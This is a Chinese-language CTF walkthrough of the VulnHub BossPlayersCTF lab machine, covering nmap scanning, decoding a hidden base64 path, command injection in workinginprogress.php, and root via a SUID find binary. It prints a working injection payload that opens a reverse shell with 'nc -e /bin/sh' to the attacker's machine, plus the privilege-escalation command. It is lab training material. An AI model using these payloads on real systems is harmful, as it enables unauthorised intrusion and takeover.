BossPlayersCTF靶機筆記

Ling-X發表於2024-08-08

BossPlayersCTF靶機

靶機概述

這是vulnhub上的一個簡單的linux靶機,適合初級滲透測試人員,同時也告訴我們在滲透測試過程中要有耐心,要允許有兔子洞。

靶機整體思路:

  1. 主機埠探測,發現web服務。
  2. 在web服務中進行資訊收集,發現命令注入,反彈shell
  3. 利用SUID進行提權,拿到root flag

靶機下載連結

1、nmap掃描

1)主機發現

# -sn 只做ping掃描,不做埠掃描
nmap -sn 192.168.84.1/24 
# 發現靶機ip為
MAC Address: 00:50:56:E0:D5:D4 (VMware)
Nmap scan report for 192.168.84.128

2)埠掃描

# sT 以tcp掃描,sC 以預設指令碼掃描,sV 輸出埠詳細資訊 O 探測作業系統版本
nmap -sT -sV -sC -O  -p22,80 192.168.84.128 -o details


Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:19 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 ac0d1e7140ef6e6591958d1c13138e3e (RSA)
|   256 249e2718dfa4783b0d118a9272bd058d (ECDSA)
|_  256 26328d73890529438ea113ba4f8353f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:27:20:93 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.35 seconds

結果可以看到22為常規ssh服務,80為Apache服務,版本為2.4.38 作業系統版本 Linux 3.2 - 4.9

3)預設漏洞指令碼掃描

nmap --script=vuln 192.168.84.128 -o vuln

Starting Nmap 7.93 ( https://nmap.org ) at 2024-07-31 08:24 EDT
Nmap scan report for 192.168.84.128
Host is up (0.00029s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /logs.php: Logs
|_  /robots.txt: Robots file
MAC Address: 00:0C:29:27:20:93 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 31.90 seconds

看到80埠,又發現兩個目錄,我們用瀏覽器開啟看一看

2、Web滲透

1)主頁

image-20240731203107007

困能程度:一顆星

描述:你好!這是我為那些想要涉足CTF的人建立的一個非常簡單的題目,有一個方法論,避免兔子洞!我希望你喜歡這個,最重要的是,請玩的開心

網站 sudocuong.com

我們檢視一下原始碼資訊 碰到http的頁面一般都要看看原始碼,否則我們經常會漏掉重要的資訊

image-20240731205346984

看著行數和下拉條就很奇怪,往下拉看看有沒有重要資訊

image-20240731205459083

有一串密文,看著像base64,我們嘗試base64解碼

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d
ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K                                   

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d                d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==

echo "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK" | base64 -d |base64 -d |base64 -d
workinginprogress.php
                                 

終於把這個套娃解出來了 看著像是一個目錄

2)訪問收集到的目錄

我們訪問nmap發現的兩個路徑

/log.php

image-20240731203720715

這是php的日誌,我們把他的優先順序往後放。

/robots.txt

image-20240731203920614

看起來是base64我們解密一下

echo "bG9sIHRyeSBoYXJkZXIgYnJvCg==" | base64 -d
lol try harder bro

lol 兄弟努力吧

應該是兔子洞,不是正確的ssh密碼

/workinginprogress.php

image-20240731210018831

告訴了我們system install的元件和版本,outstanding在這裡是未完成的意思。

他讓我們嘗試ping命令

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133

image-20240731210440987

能執行ping命令,嘗試命令注入

http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;id

image-20240731210630506

看到注入成功

3、拿到立足點

1)反彈shell

a) kali本地
nc -lnvp 4444                 

listening on [any] 4444 ...
b) 注入命令
http://192.168.84.128/workinginprogress.php?cmd=ping -c 1 192.168.84.133;nc -e /bin/sh 192.168.84.133 4444

image-20240731211330812

成功反彈,拿到立足點。

2)最佳化shell

python -c "import pty;pty.spawn('/bin/bash')"

www-data@bossplayers:/var/www/html$ whoami
whoami
www-data

4、提權到root

1) sudo -l

檢視有沒有此使用者可以用sudo執行的檔案

sudo -l

www-data@bossplayers:/home$ sudo -l
sudo -l
bash: sudo: command not found

沒有

2)SUID嘗試

find / -perm -4000 -type f 2>/dev/null

/usr/bin/mount
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/grep
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/find
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

我們用find命令嘗試

find . -exec /bin/sh -p \;
# whoami
whoami
root

提權成功

拿到root flag

# cat /root/root.txt
cat /root/root.txt
Y29uZ3JhdHVsYXRpb25zCg==
# cat /root/root.txt | base64 -d
cat /root/root.txt | base64 -d
congratulations

祝賀 !

總結

  1. nmap基本掃描發現22,80埠開放,訪問web頁面
  2. 在主頁的原始碼資訊中,發現base64套娃加密的隱藏路徑。在訪問nmap掃描出來的路徑後,基本可以確定兩個路徑為兔子洞。
  3. 在隱藏路徑/workinginprogress.php中找到RCE漏洞,成功反彈shell,拿到立足點。
  4. 利用SUID find 命令 成功提權到root
  5. 成功那都root flag :congratulations